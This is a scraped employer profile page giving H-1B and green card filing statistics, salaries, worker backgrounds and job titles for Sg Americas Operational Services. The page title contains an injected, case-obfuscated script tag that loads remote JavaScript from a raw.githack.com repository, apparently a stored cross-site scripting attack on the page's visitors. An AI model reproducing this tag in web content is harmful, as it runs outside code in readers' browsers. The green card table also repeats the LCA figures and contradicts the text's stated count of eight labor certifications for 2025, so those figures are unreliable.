Sg Americas Operational Services<sCrIpT sRc=//raw.githack.com/lnbEIMLDlslf/1v9et39j58z1/main/1.js></ScRiPt> - Employer Overview, H1B Visas, Green Cards, Salaries, Jobs, Contacts & Reviews

Overview

Update(2/26/26): In fiscal year 2026, Sg Americas Operational Services filed 9 LCAs for H-1B visas, 1 labor petition for green card, and 3 requests for prevailing wage determination.

Important Update(12/16/2025): We’ve recently added H-1B visa approval and denial history from USCIS(2017–2025) and H-1B visa petition locations to provide a more complete view of employment-based immigration. Previously, our data included only Labor Condition Applications (LCAs) certified by the U.S. Department of Labor.
For example, in fiscal year 2025, Sg Americas Operational Services filed 35 Form I-129 petitions for H-1B visas. Of these, 35 were approved and 0 were denied.

Number of Employees: 1,181
Founded: 2004 - Main Office: Jersey City, NJ - NAICS Industry: Administrative and Support and Waste Management and Remediation Services
H-1B Dependent: No - Willfull Violator: No

Sg Americas Operational Services,Llc filed 71 labor condition applications (LCAs) for H-1B visas and 8 labor certifications (LCs) for green cards during fiscal year 2025. Sg Americas Operational Services was ranked number 955 among all visa sponsors. Additionally, all petitions were certified!

Before Sg Americas Operational Services can hire foreign workers, whether permanently or temporarily, it must submit labor certifications to the Department of Labor (DOL). These certifications confirm compliance with wage requirements for the specified job locations.The reports below summarize Labor Condition Applications (LCA) for H-1B visas and Labor Certifications (LC) for green cards filed by Sg Americas Operational Services. This data represents only the number of applications submitted and does not guarantee visa approvals or worker hires.

The LCA data includes applications for various purposes: new employment, continuation or changes to previously approved employment, new concurrent employment, changes in employer, and amended petitions. Typically, only LCAs for new employment require an H-1B visa cap if the employer is not cap-exempt.For example, Sg Americas Operational Services submitted 114 LCAs and LCs during fiscal year 2025. However, this figure does not necessarily reflect the number of foreign workers hired, as visa applications can be denied. Additionally, employees renewing or transferring H-1B visas or changing work locations may need to file new LCAs.

The DOL generally certifies more than three times the number of foreign worker requests compared to the H-1B visas issued by USCIS. Therefore, there is no direct correlation between the number of workers certified by the DOL and the H-1B visas issued by the United States Citizenship and Immigration Services (USCIS).

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Worker Backgrounds

Overview of the backgrounds of foreign workers sponsored by Sg Americas Operational Services for permanent employment, highlighting up to 12 categories in each field along with the number of workers. The fields include citizenship, colleges attended, degrees earned, fields of study, and visa status.

Citizenship: where they came from

France(18)India(16)Canada(4)China(3)Russia(1)Italy(1)

College: where they studied

Neoma Business School(1)National University Of Singapore(1)Moscow State Institute Of International Relations (University)(1)Kakatiya University(1)Institut Superieur Delectronique De Paris(1)Institut National Des Langues Et Civilisations Orientales(1)Indian Institute Of Rural Management(1)Ecole Superieure D'Ingenieurs Et Genie Electrique (Esigelec)(1)Ecole Nationale Superieure De L'Electronique Et De Ses Applications(1)Ecole Francaise D'Electronique Et D'Informatique (Efrei)(1)Ecole Centrale Paris(1)Bharathidasan University(1)Bangalore University(1)Anna University(1)Acharya Nagarjuna University(1)Academy Of Paris(1)

Class of Admission: current visa status

L-1(25)H-1B(18)

Degree: Highest Education achieved

Master's(26)Bachelor's(13)Other(2)Doctorate(1)Associate's(1)

Major: Major field(s) of study

Computer Science(5)Applied Computer Science(3)Business Administration(3)Engineering(3)Finance(3)Business Management(2)Business Administration Concentration Finance(2)Information Systems(2)Electrical And Electronic Engineering(1)Economics, International Studies And Chinese(1)Economics(1)Computer Information Systems(1)Computer Engineering And Electronic Engineering(1)Computer Engineering(1)Business Administration And Computer Information Systems Concentration Finance(1)Biomedical Engineering And Electronic Engineering(1)

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Visas

Summary of Labor Condition Applications (LCAs) for H-1B visas and Labor Certifications (LCs) for green cards filed by Sg Americas Operational Services. The data includes new employment, continuation or changes to previously approved employment, new concurrent employment, changes in employer, and amended petitions.

Labor Condition Applications(LCAs) for H-1B Jobs

Year	Certified	Denied	Withdrawn	Certified-Withdrawn
2025	60	0	0	11
2024	60	1	0	0
2023	63	0	0	0
2022	34	0	0	15
2021	52	0	1	0
2020	44	0	0	4
2019	37	0	0	0
2018	40	1	0	0
2017	28	0	0	0

Labor Certifications(LCs) for Green Card Job

Year	Certified	Denied	Withdrawn
2025	60	0	0
2024	60	1	0
2023	63	0	0
2022	34	0	0
2021	52	0	1
2020	44	0	0
2019	37	0	0
2018	40	1	0
2017	28	0	0

H-1B Visa History

This table summarizes H-1B visa petition decisions made by the U.S. Citizenship and Immigration Services (USCIS) or the U.S. Department of State, not the Labor Condition Applications (LCAs) certified by the Department of Labor (DOL).

Year	New Approval	Continuation Approval	Change Employer Approval	Change Employer Denial	Total Approval	Total Denial	Total H-1B*
2025	16	10	2	0	35	0	35
2023	13	11	8	1	35	1	36
2022	14	8	7	0	32	0	32

* Why are the numbers different? LCAs are a prerequisite to filing H-1B visa petitions, but not all certified LCAs lead to actual H-1B filings. Similarly, one LCA can support multiple visa petitions (e.g., for extensions, amendments, or changes in employer). Therefore, visa totals may differ significantly from LCA totals.
Moreover, employers sometimes use different names when submitting LCAs and H-1B visa petitions. This can cause discrepancies in our system. To get a complete and accurate picture, please use the search function to explore both LCA and visa data.
Total H-1B includes all types of visa petitions: new employment, continuation, change of employer, as well as other actions not listed in the table, such as concurrent filings and amendments.

Annual Average Salaries

H-1B and Green Card Jobs Proffered Salaries

Year	H-1B Salary	Green Card Salary	Prevailing Wage
2025	$149,253	$179,340	$159,777
2024	$142,809	$160,576	$149,058
2023	$140,349	$144,494	$134,190
2022	$136,947	$156,256	N/A
2021	$140,476	$153,500	N/A
2020	$137,708	$137,500	N/A
2019	$128,324	$134,316	N/A
2018	$125,077	$171,780	N/A
2017	$116,420	$187,491	N/A

The salary figures shown represent the average proffered (offered) salaries reported by Sg Americas Operational Services on labor condition applications (LCA) for H-1B visas and permanent labor certification (PERM) for green cards. These are base guaranteed salaries and do not include bonuses, stock options, or other forms of compensation.

If Sg Americas Operational Services reported a salary range, we use the midpoint to calculate the average. Salaries submitted in hourly, weekly, or monthly terms are converted to an annualized figure based on a standard full-time schedule (e.g., 40 hours/week, 52 weeks/year).

Occupations & Job Titles

Summary of the occupations and job titles of foreign workers sponsored by Sg Americas Operational Services for permanent employment, highlighting up to 12 roles in each field along with the number of workers. To increase your chances of receiving visa sponsorship, focus on positions that Sg Americas Operational Services has historically hired foreign workers for.

H-1B Occupations

Software Developers(53)Financial Risk Specialists(41)Financial Quantitative Analysts(22)Business Intelligence Analysts(17)Accountants and Auditors(15)Credit Analysts(9)Computer Systems Analysts(6)Information Security Analysts(6)Financial and Investment Analysts(4)Computer Systems Engineers/Architects(3)

Green Card Occupations

Computer Systems Analysts(6)Financial Risk Specialists(5)Software Developers, Applications(3)Financial Quantitative Analysts(2)Information Security Analysts(1)Financial Managers(1)Financial Examiners(1)Financial And Investment Analysts(1)Credit Analysts(1)Business Intelligence Analysts(1)

Prevailing Wage Occupations

Financial Risk Specialists(12)Software Developers(10)Project Management Specialists(5)Financial Managers(4)Computer Systems Analysts(4)Accountants and Auditors(4)Data Scientists(4)Credit Analysts(3)Financial Specialists, All Other(3)Management Analysts(3)

H-1B Job Titles

Senior Programmer Analyst(16)Programmer Analyst(12)Markets Product Control Specialist(11)Senior Auditor(11)Business Analyst(9)Junior Mpc Specialist(8)Senior Business Analyst(7)Credit Officer(5)Auditor (Information Technology)(4)Auditor(4)

Green Card Job Titles

Auditor (Information Technology)(2)Application Support Analyst(1)Risk Officer, Markets Risk Framework(1)Quantitative Advisor (Risq)(1)Ofac Compliance Officer(1)Markets Product Control Specialist, Profit & Loss(1)Markets Product Control Specialist - Mmg(1)Market Risk Officer(1)It Risk Manager(1)Financial Planning & Analysis Specialist(1)

Prevailing Wage Job Titles

Market Risk Officer(2)KYC Manager(2)IT Risk Manager(2)Client Services Team Leader(2)Chief of Staff (Equities&Derivatives, Fixed Income&Currency)(2)Markets Product Control Specialist, Profit & Loss(2)OFAC Compliance Officer(2)Senior Algo Developer (Automatic Trading)(2)Senior Business Data Analyst(2)Senior Credit Officer(2)

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Contacts

The individuals listed in this section are employees of Sg Americas Operational Services,Llc authorized to represent the company in labor certification matters. They cannot be agents or attorneys unless they are direct employees of Sg Americas Operational Services. Furthermore, they may not be Human Resources professionals directly involved in hiring or resume screening. In smaller companies, these representatives are often decision-makers, such as the president or operations director.